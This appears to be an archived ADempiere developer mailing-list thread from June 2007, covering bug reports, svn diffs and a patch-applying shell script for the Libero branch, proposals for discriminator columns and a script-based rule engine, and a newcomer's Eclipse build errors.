2007-06-04 21:33:33 UTC

Karsten,

I tried it out and it is exactly what I had in mind.
Great job! Thanks a lot.

Regards, Dirk

2007-06-05 19:52:38 UTC

Hi,

You have my vote too.

[+1] to see it in trunk.

Kind regards,
Trifon

2007-06-05 21:10:33 UTC

Hi Trifon,

your'e late - it's in trunk since yesterday :)
Hope you like it!

Regards,
Karsten

2007-06-05 21:19:36 UTC

Hi Karsten,

> your'e late - it's in trunk since yesterday :)
> Hope you like it!

Yes, i have to read over 200 emails posted while i had no access to internet...

Kind regards,
Trifon

2007-06-04 06:26:11 UTC

Hi.
Bug in:
Partner Relations - Request - Mail Template - User Mail

Row view - 7 columns
Grid view - 5 columns

Anatoly

2007-06-05 07:34:44 UTC

Hi CC members again :)
Yet same mistake:

Material Management - Material Management Rules - Change Notice

Row view - 11 columns
Grid view - 9 columns

2007-06-05 09:16:53 UTC

Hi Anatoly

Actually there are always 7 columns but some are overlapping in the "form" view. The problem lies in the window/tab definition rather any code... somehow the seed db has been saved with 3 columns in a row having the "same line" flag ticked on the "User Mail" tab which means 3 fields are displayed over each other.

For now you can use the System Administrator role to correct this.. Using the "Window, Tab & Field" window select the "Mail template" window and "User mail" tab and uncheck the "same line" for the field "Message ID".

colin

2007-06-06 04:56:20 UTC

Hi colin.

Thank you. Problem with User Mail fixed.

What you can say about Change Notice?

Anatoly

2007-06-06 15:15:44 UTC

it's the same issue...

Normally the fields are "Same Line" unchecked then checked ... if you look at the fields on this tab with System Admin you'll find there are fields with checked, checked... causing an overlap.

colin

2007-06-07 01:44:17 UTC

Hi All,

I successfully imported the 2pack Libero.zip from the libero branch as of today! There are errors like this still:

```
-----> MField.save: beforeSave - X_AD_Field[0] [18]  
java.lang.NullPointerException  
at org.compiere.model.MField.beforeSave(MField.java:122)  
at org.compiere.model.PO.save(PO.java:1781)  
at org.compiere.model.PO.save(PO.java:1893)
```

but they do not cause the entire transaction to abort.

I will work on fixing this bug. In order to get the 2pack Libero.zip to import I had to make the following changes to the following files:

```
adempiere/base# svn diff ./src/org/compiere/model/MProcess.java
Index: src/org/compiere/model/MProcess.java
```

```
=====
=====  
--- src/org/compiere/model/MProcess.java (revision 2513)  
+++ src/org/compiere/model/MProcess.java (working copy)  
@@ -110,7 +110,8 @@  
*/  
public MProcess (Properties ctx, int AD_Process_ID, String ignored)  
{  
- super (ctx, AD_Process_ID, null);  
+ //super (ctx, AD_Process_ID, null);  
+ super (ctx, AD_Process_ID, ignored);  
if (AD_Process_ID == 0)  
{  
// setValue (null);
```

```
adempiere/base# svn diff ./src/org/compiere/model/MSequence.java  
Index: src/org/compiere/model/MSequence.java
```

```
=====
=====  
--- src/org/compiere/model/MSequence.java (revision 2563)  
+++ src/org/compiere/model/MSequence.java (working copy)  
@@ -631,6 +631,49 @@  
return seq.save();  
} // createTableSequence  
  
+ /**  
+ * Get Sequence  
+ * @param ctx context  
+ * @param tableName table name  
+ * @param trxName transaction name  
+ * @return Sequence  
+ */  
+ public static MSequence get (Properties ctx, String tableName, String trxName)  
+ {  
+ String sql = "SELECT * FROM AD_Sequence "  
+ + "WHERE UPPER(Name)=?"  
+ + " AND IsTableID='Y'";  
+ MSequence retValue = null;  
+ PreparedStatement pstmt = null;  
+ try  
+ {
```

```

+ pstmt = DB.prepareStatement (sql, trxName);
+ pstmt.setString (1, tableName.toUpperCase());
+ ResultSet rs = pstmt.executeQuery ();
+ if (rs.next ())
+ retValue = new MSequence (ctx, rs, trxName);
+ if (rs.next())
+ s_log.log(Level.SEVERE, "More then one sequence for " + tableName);
+ rs.close ();
+ pstmt.close ();
+ pstmt = null;
+ }
+ catch (Exception e)
+ {
+ s_log.log(Level.SEVERE, "get", e);
+ }
+ try
+ {
+ if (pstmt != null)
+ pstmt.close ();
+ pstmt = null;
+ }
+ catch (Exception e)
+ {
+ pstmt = null;
+ }
+ return retValue;
+ } // get

```

/**

* Get Sequence

adempiere/base# svn diff ./src/org/compiere/model/MTable.java

Index: src/org/compiere/model/MTable.java

====

```

--- src/org/compiere/model/MTable.java (revision 2575)
+++ src/org/compiere/model/MTable.java (working copy)
@@ -589,12 +589,12 @@
protected boolean afterSave (boolean newRecord, boolean success)
{
// Sync Table ID
- if (newRecord)
+ /*if (newRecord)
{
MSequence.createTableSequence(getCtx(), getTableName(), get_TrxName());
}

```

```

else
- {
+ {*/
MSequence seq = MSequence.get(getCtx(), getTableName());
if (seq == null || seq.get_ID() == 0)
MSequence.createTableSequence(getCtx(), getTableName(), get_TrxName());
@@ -603,7 +603,7 @@
seq.setName(getTableName());
seq.save();
}
- }
+ //}

return success;
} // afterSave
@@ -704,4 +704,4 @@
return sb.toString ();
} // toString

-} // MTable
\No newline at end of file
+} // MTable

```

Most of these changes are dealing with java code that does not use transactions. When 2pack is importing it creates a gigantic transaction. Some imported elements depend on previously inserted elements. When a search occurs to find them and that search does not take the transaction into account and therefore can't find the element inserted causing major issues. Can I commit the code above or will that cause other areas to fail?

The other major problems I found had to do with libero/patch_core. I created a simple linux script to assist me applying these patches as follows:

```

cat patchfiles.sh
cd /root/work4
cd ./adempiere/base/src/org/compiere/acct/
pwd
echo "About to patch file: /root/work4/adempiere/base/src/org/compiere/acct/Doc.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/Doc.patch
ls -l /root/work4/adempiere/libero/patch_core/Doc.java

cd /root/work4
cd ./adempiere/base/src/org/compiere/model/
pwd
echo "About to patch file:

```

```
/root/work4/adempiere/base/src/org/compiere/model/MSetup.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/MSetup.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/MSetup.java
```

```
pwd
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/MTable.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/MTable.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/MTable.java
```

```
cd /root/work4
cd ./adempiere/base/src/org/compiere/wf/
pwd
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/wf/MWFNode.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/MWFNode.patch
ls -l /root/work4/adempiere/base/src/org/compiere/wf/MWFNode.java
```

```
cd /root/work4
cd ./adempiere/client/src/org/compiere/grid/ed
pwd
echo "About to patch file:
/root/work4/adempiere/client/src/org/compiere/grid/ed/VDocAction.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/VDocAction.patch
ls -l /root/work4/adempiere/client/src/org/compiere/grid/ed/VDocAction.java
```

```
cd /root/work4
cd ./adempiere/base/src/org/compiere/model/
pwd
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_AD_WF_Node.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/X_AD_WF_Node.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/X_AD_WF_Node.java
```

```
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_AD_Workflow.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/X_AD_Workflow.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/X_AD_Workflow.java
```

```
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_C_DocType.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/X_C_DocType.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/X_C_DocType.java
```

```
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_M_Cost.java"
```

```
patch -p0 < /root/work4/adempiere/libero/patch_core/X_M_Cost.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/X_M_Cost.java
```

```
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_M_Product.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/X_M_Product.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/X_M_Product.java
```

```
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_M_Transaction.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/X_M_Transaction.patch
ls -l /root/work4/adempiere/base/src/org/compiere/model/X_M_Transaction.java
```

```
echo "About to patch file:
/root/work4/adempiere/base/src/org/compiere/model/X_S_Resource.java"
patch -p0 < /root/work4/adempiere/libero/patch_core/X_S_Resource.patch
ls -l /root/work4/adempiere/libero/patch_core/X_S_Resource.java
```

What was surprising was that the following patches actually remove files:

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_AD_WF_Node.java,
```

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_AD_Workflow.java
```

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_C_DocType.java
```

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_M_Cost.java
```

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_M_Product.java,
```

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_M_Transaction.java
```

The next patch would delete the file

```
/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/X_M_Transaction.java
```

del/X_S_Resource.java

The problem is that once some of these files are deleted there is no file to replace them in the libero branch. The following are not replaced and are just absent:

X_AD_WF_Node.java
X_C_DocType.java
X_M_Product.java

Is this an error? Should these be committed up to the libero branch?

The other problem is that once tables are imported via 2pack they are not actually created until you manually go through in the Application Directory -> Table and Column and do a synchronize on one of the fields. If the table exists already then you have to hunt down exactly what fields are missing and synchronize them. This is quite time consuming and irritating. Is there a better way?

The next major problem deals with DocTypes. When I open a manufacturing order the Target Document Type drop down is not populated at all. Victor said he committed the following changes to handle this via the MSetup.patch:

Index:

/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/MSetup.java

=====
=====

/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/MSetup.java (revision 2544)

+++

/Users/Horus/Documents/adempiere/clientes/adempiere_trunk/base/src/org/compiere/model/MSetup.java (working copy)

@@ -708,6 +708,28 @@

int GL_API = createGLCategory("AP Invoice",
MGLCategory.CATEGORYTYPE_Document, false);^M

int GL_APP = createGLCategory("AP Payment",
MGLCategory.CATEGORYTYPE_Document, false);^M

int GL_CASH = createGLCategory("Cash/Payments",
MGLCategory.CATEGORYTYPE_Document, false);^M

+ ^M

+ // begin e-evolution vpj-cd 06/03/2005 Libero^M

+ int GL_M = createGLCategory("Manufactuing ",
MGLCategory.CATEGORYTYPE_Document, false);^M

+ createDocType("Maintenacne Order", Msg.getElement(m_ctx, "MPC_Order_ID",
false),^M


```

+ MDocType.DOCBASETYPE_MaintenanceOrder, null, 0, 0, 910000, GL_M);^M
.....
+ MDocType.DOCBASETYPE_ManufacturingOrderReceipt, null, 0, 0, 960000,
GL_M);^M
+ createDocType("Manufacturing Order Use Variation", Msg.getElement(m_ctx,
"MPC_Order_ID", false), ^M
+ MDocType.DOCBASETYPE_ManufacturingOrderUseVariation, null, 0, 0, 970000,
GL_M);^M
+ createDocType("Manufacturing Order Rate Variation", Msg.getElement(m_ctx,
"MPC_Order_ID", false), ^M
+ MDocType.DOCBASETYPE_ManufacturingOrderRateVariation, null, 0, 0, 980000,
GL_M);^M
+ createDocType("Purchase Requisition Planning", Msg.getElement(m_ctx,
"M_Requisition_ID", false), ^M
+ MDocType.DOCBASETYPE_PurchaseRequisition, null, 0, 0, 910000, GL_None);^M
+ //end e-evolution vj-cd 06/03/2005 Libero^M
^M
// Base DocumentTypes^M
int ii = createDocType("GL Journal", Msg.getElement(m_ctx, "GL_Journal_ID"), ^M

```

I compiled this in via the applied patch, but when I look in table c_doctype I don't see the document types. How do I get this code to actually put the document types in the table?

Anyway, great strides are being made with the 2pack Libero. I just need help to iron out a few of these little things. Excellent work Victor!

Long live Adepiere!

-Tim

2007-06-07 02:11:16 UTC

Hi Tim,

I've committed the patch for MSequence and MProcess. However, the patch for MTable doesn't look correct, what problem does it try to resolve ?

For other patch, please create a tracker and upload the diff/patch file there so that me and/or others can help to review. Note that for compatibility reason, we should avoid removing classes from trunk.

Regards,
Low

2007-06-07 01:42:13 UTC

can application dictionary do:
create new table, insert new field, create new form, new process, new report?
without any knowledge of java language...
to customized adempiere, to suit our company need?

what part that eclipse do?
what part that jasper do?

thank's

2007-06-07 02:15:50 UTC

What application dictionary can do:

- * create new table
- * insert new field
- * create new report

For new form, you need to do that using java. For process, you will have to code that either in java or database store procedure.

Further info for your question is available in the ADempiere wiki.

Regards,
Low

2007-06-07 06:54:04 UTC

>>For new form, you need to do that using java
If by form they mean the window (in adempiere terminology) to maintain the new table then they dont need java do they? They would need to run the GenerateModel that generates the persistence code, and recompile... but do they need to manually write any java?

colin

2007-06-07 07:04:35 UTC

Hi Colin,

Yes, you are right, no java coding needed to create window to maintain table. However, without additional java coding, the business logic provided by the application dictionary is quite limited.

thanks for the clarification, was confuse with custom form in Adempiere which required java coding.

Regards,
Low

2007-06-07 07:11:40 UTC

> but do they need to manually write any java?
For tables and windows, not at all! Usually they don't even need to recompile the source or run GenerateModel, unless they have complicated business logic to inject into MClass.

But for some special purposes, which there's no data model behind the scene, there should be a form which is totally hand-written in Java (org.compiere.apps.form).

Warm regards,
Bahman

2007-06-07 07:12:55 UTC

Well, Hengsin has faster fingers than me :-)

2007-06-01 18:05:03 UTC

Hello,

Summary: I have a proposal about implementing discriminator columns for class loading.

The problem: Here is a very simple example. I have a table called "x_animal". In that table i have a column "kind" which is binded to the following list reference (AD_Reference): C=Cat, D=Dog etc.

Now the problem is that i want that adempiere to load a specific class for each kind of animal.

Ok, this was a very simple example, but personally i want this functionality for A_Asset class :), for a project.

Proposed solution:

To the AD_Column table add another field called IsDiscriminatorColumn with YesNo type. For a given table, only one column can be discriminator (=Y). A column can be discriminator, only if it has a List as reference.

Using my previous example with animals, when the class for x_animal table is requested (MTable.getPO), adempiere will check if the table has discriminator, if yes, will check the discriminator value (i.e. "kind" column), and based on that value will load one of the following classes: MAnimalCat, MAnimalDog or will fall back to MAnimal.

What you think ?

Maybe this idea can be improved, but i released it early :)

Best regards,
Teo Sarca

2007-06-02 12:32:47 UTC

Even though this is my first post here, i'll comment your proposal.

Generally it's a good proposal to me. What can be difficult is to maintain the classes structure for the discriminator columns in a way that even less experienced users will have the chance to change something in a way they want. Maybe there should also be a different color for Discriminator Columns so that the user knows that when he enters a value in it, "something" is going to happen.

2007-06-02 12:43:39 UTC

Hi tgvoelker_,
and welcome to Adempiere !

> What can be difficult is to maintain the classes structure for the discriminator columns

Agree! but in our current class loading model, is the same thing.
More, List references are very sensible things, they are included in each generated model...

> Maybe there should also be a different color for Discriminator Columns so that the user knows that when he enters a value in it, "something" is going to happen.

Only list columns (AD_Reference_ID=List) can be discriminators, so the user doesn't enter new data, just picks from a list that is already known by the system.

Best regards,
Teo Sarca

2007-06-02 12:50:48 UTC

Hi Teo,

I'd suggest to extend your proposal in the way that one can chose from the list a specific value to select a child class but to be able to manually enter a user defined value which will result in loading the parent class. This would enable one to define a column that holds values (f.e. for categorizing something) and do some specific actions when *special* values (those from the list) will be entered.

Regards,

Thomas

2007-06-02 12:58:59 UTC

Hi tgvoelker_,

Yes, true, when there is no class for a specified the class loading should fall back. But to have a list where you can also enter new values, is a very useful thing, but this is should be another proposal.

Best regards,
Teo Sarca

2007-06-02 18:13:43 UTC

Hello,

Good and useful proposal. One of the main difficulties in ADempiere is handling business logic in a customisable and reusable manner which this proposal seems to address properly.

I'd suggest a bit modified version of this proposal:

We create two new fields in AD_Table:

-Logic Handler Type (LH Type): A list which determines the way we'd like to handle business logic for the table. For now, there are two items on the list [Java class, Rule package].

-Logic Handler: A text field which contains the name of the Java class or the rule package which handles the business logic.

Upon saving/deleting/updating, PO checks the LH Type field and if it is

-Java class then loads the class which does the logic and returns a true or false.

-Rule package then passes the rule package to the RE library which performs the logic and returns a true or false.

Then PO can decide (upon the returned value) to save/delete/update the record or not.

This would be a good chance for us to start a transparent transition to systematic logic handling, in my humble opinion.

What are the pros and cons of this new proposal -which is just to address the RE integration in the original proposal?

Warm regards,
Bahman

PS: Victor has done something related to rules and handling them in Libero. I haven't had the time to try it. It'd be nice if someone with experience with it could write a bit about it.

2007-06-04 10:59:40 UTC

I added a feature request:

http://sourceforge.net/tracker/index.php?func=detail&aid=1730599&group_id=176962&atid=879335

Feel free to comment.

Best regards,
Teo Sarca

2007-06-05 16:16:00 UTC

Hi Dear Developers!

first I want to give you a description of my work of Libero Payroll and Rule Engine Idea:

Model Definition:

I create a new table called AD_Rule_Engine with following fields

Search Key

Name

Description

Rule Engine Type (Bash Shell, Java, SQL, etc)

Script that is memo field where you set the script to bash shell

my idea with this new model into Application Dictionary is have a only place where you can create new business logic and maintenance the compatibility without touching the core the AD.

Business Rules Engine Integration

Proposal:

Java Standards JSR 223 Scripting APIs i.e. BSF & AOP. The use of a scripting language facilitates easy interaction with application components. Persistent class implement an inspector to validate if there is a Business Rule in the Application Dictionary.

The AfterSave , BeforeSave , AfterDelete , BeforeDelete methods must be rewritten with Inspection classes.

Requirements:

Modify the Business Logic without changes in the source code, and online.

The Business Rule must be in the Application Dictionary.

you can see more detail here http://www.adempiere.com/wiki/index.php/Rule_Engine_Implementation

after I create my new rule in bash shell , I set it into the my payroll concept this way I can change my business logic in runtime to calculate the Payroll.

I think we can integrate use rule engine type and adding other ideas, ie the work the Bahman or Idea the Teo.

So, now I want integrate the bash shell into the Callout and Document Validation to add business logic in runtime.

In this case the propose of Teo and Bahman we can add the 2 field (Table, Column) and this way no affect the current Application Dictionary , so we can set a business logic to each column into table as callout.

Teo I think the solution to load class is possible to solve it using Aspect Orient Programing , the fact AOP was created to intercept any method or class in runtime.

What do you think ?

Kind regards
Victor Perez
<http://www.e-evolution.com>

2007-06-05 17:28:45 UTC

Hi Victor,

>The Business Rule must be in the Application Dictionary.

>

>you can see more detail here http://www.adempiere.com/wiki/index.php/Rule_Engine_Implementation

I like your idea.

I have one question.
How do you use this script functionality?
Can you show example code?

I think that proposal from Teo is different from the idea you have shown. Teo wants to load different class depending on the column value, while you add way to execute code runtime without recompiling code.

Kind regards,
Trifon

2007-06-05 17:36:45 UTC

hi Trifon.

My example are into the screenshot :-)

Please you can review.

Victor

2007-06-05 19:28:43 UTC

Hello,

Victor:

A tidy approach as there would be no need to modify the core AD. But one question (in fact, Teo gave me the idea): How do you plan to use AOP to intercept the calls to business logic methods in a way that existing extension to ADempiere can continue to have a normal operation? In other words, does the use of interceptors bring incompatibility with previous versions of ADempiere?

Trifon:

I think the proposals are the same. The idea is similar as both of them aim to cover business logic handling, one loads a Java class and the other interprets a script. The only thing about Victor's way is the compatibility issue -not sure about it.

Warm regards,
Bahman

2007-06-05 19:49:47 UTC

Hi Bahman,

>Trifon:

>I think the proposals are the same. The idea is similar as both of them aim to cover business logic handling, one >loads a Java class and the other interprets a script. The only thing about Victor's way is the compatibility issue >-not sure about it.

I'm a bit confused as i think that functionality which Victor propose is something like a service which can be invoked.

While loading of different class leads to different behavior coded into the java class.

I have the feeling that we are moving to describing of services into AD.

I think that the idea is not mature yeat, but i just have the feeling that at the moment we see start of this idea, so i would like to support Teo and Victor's ideas and see to what it will lead in future.

Kind regards,
Trifon

2007-06-05 20:27:29 UTC

Hi Bahman!

I told with Teo to log time about you suggestion and now I have very clearly.

Teo want implement same functionality AS in JPA

http://download-east.oracle.com/docs/cd/B31017_01/web.1013/b28221/cmp30cfg016.htm

Kind regards

Victor Perez

<http://www.e-evolution.com>

2007-06-05 21:22:18 UTC

Hi Victor,

>I told with Teo to log time about you suggestion and now I have very clearly.

>

>Teo want implement same functionality AS in JPA

>

>http://download-east.oracle.com/docs/cd/B31017_01/web.1013/b28221/cmp30cfg016.htm

Thank's for update Victor. It is more clear now what we are trying to achieve.

Kind regards,

Trifon

2007-06-06 01:02:23 UTC

Hi Victor,

What you have proposed is a scripting interface rather than an implementation or interface to rule engine. IMHO, the name "AD_Scripts" would be more appropriate here.

We shall not be getting too excited in writing more business logic (callout, process etc) using scripting language instead of java classes, while it is easier to get starting with, it will make testing and debugging harder.

Regards,

Low

2007-06-06 06:38:11 UTC

Hi Trifon,

I updated the page in

wiki: http://www.adempiere.com/wiki/index.php/Example_Adempiere_JPA_persistence

Please feel free to improve or comment.

Best regards,
Teo Sarca

2007-06-06 10:06:30 UTC

> http://www.adempiere.com/wiki/index.php/Example_Adempiere_JPA_persistence

This comparison could also be very useful for developers which are familiar to JPA but new ADempiere. Currently it is not, though. Especially the first statement in the AD column of that wiki page is not understandable to me :(I wonder where/how such lists are created. If a few more words (in the Wiki, not here) could make it more intelligibly for newbies, I would be very grateful.

... Michael

2007-06-06 18:59:22 UTC

Hi Michael,

I updated the wiki page. I think will be useful.

Best regards,
Teo Sarca

2007-06-06 20:27:49 UTC

Hi Low!

Yes, this is first step, because my idea is include rule engine, but my goal about the AD_Rule_Engine is to have a only place to adding new business logic in runtime (Rule Engine, Script, SQL), Now I implemented bash shell to payroll and it is working, I talked with Bahman to integrate the rule engine and we want all to give suggestion.

so, is for this reason I define a Engine Rule Type.

in other hand is necessary to enable specific business logic in runtime, because this way you do not need to compile and binary distribution to every client, now if you need create a new business logic you need write new code compile and shutdown the application to enable it.

kind regards

Victor Perez
CEO

<http://www.e-evolution.com>

2007-06-08 09:03:22 UTC

> > http://www.adempiere.com/wiki/index.php/Example_Adempiere_JPA_persistence
> I updated the wiki page. I think will be useful.

Thanks, Teo. Thats a great help for newbies with JPA knowlege.

I will collect and order such information in the Getting Started area of http://www.adempiere.com/wiki/index.php/New_Adempiere_Developer_Corner. Of course, it will also mean that I will ask for more of such information, where I cannot find it yet.

... Michael

2007-06-07 13:40:07 UTC

Hi,

I have updated from version 3.1.3 to 3.2.0 succesful but when i try to run Adempiere with button web start the error "Unable to load resource: <http://devadem.agenda.si:8880/admin/adempiereHome/customization.jar>" appear. But web shows me "Welcome to Adempiere 3.2.0 Home page".

If i run Adempiere from server where the version is updated everythings works ok.

Can somebody give me some sugestion

Thanks!
Bojana

2007-06-08 11:34:54 UTC

Hi Bojana,

Did you run the RUN_Setup script in the server after migration?

Regards,

Alejandro

2007-06-08 12:25:29 UTC

Hi Alejandro,

I have solve the problem. obviously web browser save some setting and that was the

reason why i could not update to version 3.2.0 from the web browser. When I clean buffer in Web browser (Edit -> Settings ->Privacy -> clear buffer) everythings work fine.

Thank you anyway.
Regards, Bojana

2007-06-06 20:19:32 UTC

hi,
please i want to modify the adempiere source code, i have installed eclipse 3.2 java6
i get with no probleme svn code sorce but now how to perocceed to compile and execute
adempiere witch project should i choose from this longue list of directory iam very lost,
best regars

2007-06-06 20:22:06 UTC

Hi,

I think this will help you:

http://www.adempiere.com/wiki/index.php/Adempiere_Developer_Corner

Best regards,
Teo Sarca

2007-06-06 20:54:40 UTC

hi Teo Sarca,

thanks a lot for this link i have to read and read,i found this link via your's

http://www.adempiere.com/wiki/index.php/New_Adempiere_Developer_Corner

but it's not work yet.

best regards

2007-06-06 21:07:57 UTC

Hi Fred,

I think this helps you:

https://sourceforge.net/forum/message.php?msg_id=4175365

Follow the thread and you'll find most of your questions about checking out the source code and compiling and running it using Eclipse answered. If anything remains unclear, feel free to ask here.

Warm regards,
Bahman

2007-06-07 17:45:56 UTC

hi,
thanks bahman for the link its very usefull, i Checkout adempiere320 from tags like that
:
project name :adempiere_trunk
location :c\
after :
create new java project :
projct name :Adempiere
create from existing source : c:\adempiere_trunk
it's start correctly but with lot off errors in each folder is that correct the way i do ?

best regards
fred

2007-06-07 21:47:50 UTC

Hi Fred,

You're welcome!

I don't work with tags/adempiere320. I use trunk/ since it is the source base which is being changed and modified and debugged. Therefore I don't have a clue what's wrong with your project but here are 2 simple question:

1. Have you tried to import (File -> Import) the project?
2. What kinds of errors? Could you copy-paste one of them here?

Warm regards,
Bahman

2007-06-08 12:38:38 UTC

hi bahman,
i use your way to checkout adempiere from trunk, but here are errors maybe i need some configuration it's my fisrt project iam very new in adempiere and i want to undestand and give my contribution here is a great community thanks very much.

Severity and Description Path Resource Location Creation Time Id

allTableColumns cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 49 1181270837921 26968
allTableColumns cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 50 1181270837936 26969
allTableColumns cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 51 1181270837936 26970
allTableColumns cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 188 1181270837936 26978

allTableColumns cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 189 1181270837936 26979

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 149 1181269868046 20508

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 152 1181269868046 20514

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 155 1181269868046 20520

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 160 1181269868046 20526

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 170 1181269868046 20532

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 179 1181269868046 20538

assert cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 182 1181269868046 20544

Can only iterate over an array or an instance of java.lang.Iterable
adempiere_trunk/looks/src/org/adempiere/plaf AdempierePLAF.java line 310
1181270739624 26467

clone.Fields cannot be resolved or is not a field
adempiere_trunk/base/src/org/compiere/model GridTabVO.java line 542 1181271300561
29126

clone.Fields cannot be resolved or is not a field
adempiere_trunk/base/src/org/compiere/model GridTabVO.java line 550 1181271300561
29131

clone.Tabs cannot be resolved or is not a field
adempiere_trunk/base/src/org/compiere/model GridWindowVO.java line 328
1181271867046 31643

clone.Tabs cannot be resolved or is not a field
adempiere_trunk/base/src/org/compiere/model GridWindowVO.java line 335
1181271867093 31648

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 82 1181271312952 29537

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 96 1181271312952 29538

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 99 1181271312952 29539

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 127 1181271312952 29545

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 196 1181271312952 29554

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 253 1181271312952 29568

cols cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 320 1181271312952 29578

columnNameNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java

line 76 1181270841093 27100
columnNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java
line 77 1181270841093 27101
columnNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java
line 78 1181270841093 27102
columnNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java
line 86 1181270841093 27103
columnNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java
line 103 1181270841093 27104
columnNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java
line 104 1181270841093 27105
columnNames cannot be resolved adempiere_trunk/migration/src/oracle Constraint.java
line 130 1181270841093 27106
columnsToAdd cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
146 1181270837936 26976
columnsToAdd cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
147 1181270837936 26977
columnsToAdd cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
199 1181270837936 26980
columnsToAdd cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
200 1181270837936 26981
columnsToAdd cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
232 1181270837936 26986
columnsToDrop cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
125 1181270837936 26973
columnsToDrop cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
126 1181270837936 26974
columnsToDrop cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
127 1181270837936 26975
columnsToDrop cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
210 1181270837936 26982
columnsToDrop cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
211 1181270837936 26983
columnsToDrop cannot be resolved adempiere_trunk/migration/src/oracle Table.java line
241 1181270837936 26987
columnsToModify cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 70 1181270837936 26971
columnsToModify cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 71 1181270837936 26972
columnsToModify cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 221 1181270837936 26984
columnsToModify cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 222 1181270837936 26985
columnsToModify cannot be resolved adempiere_trunk/migration/src/oracle Table.java
line 250 1181270837936 26988
Duplicate local variable number adempiere_trunk/base/src/org/compiere/util

AmtInWords_IN.java line 149 1181269868046 20509
Duplicate local variable number adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 152 1181269868046 20515
Duplicate local variable number adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 155 1181269868046 20521
Duplicate local variable number adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 160 1181269868046 20527
Duplicate local variable number adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 170 1181269868046 20533
Duplicate local variable number adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 179 1181269868046 20539
Duplicate local variable raturan adempiere_trunk/base/src/org/compiere/util
AmtInWords_IN.java line 182 1181269868046 20545
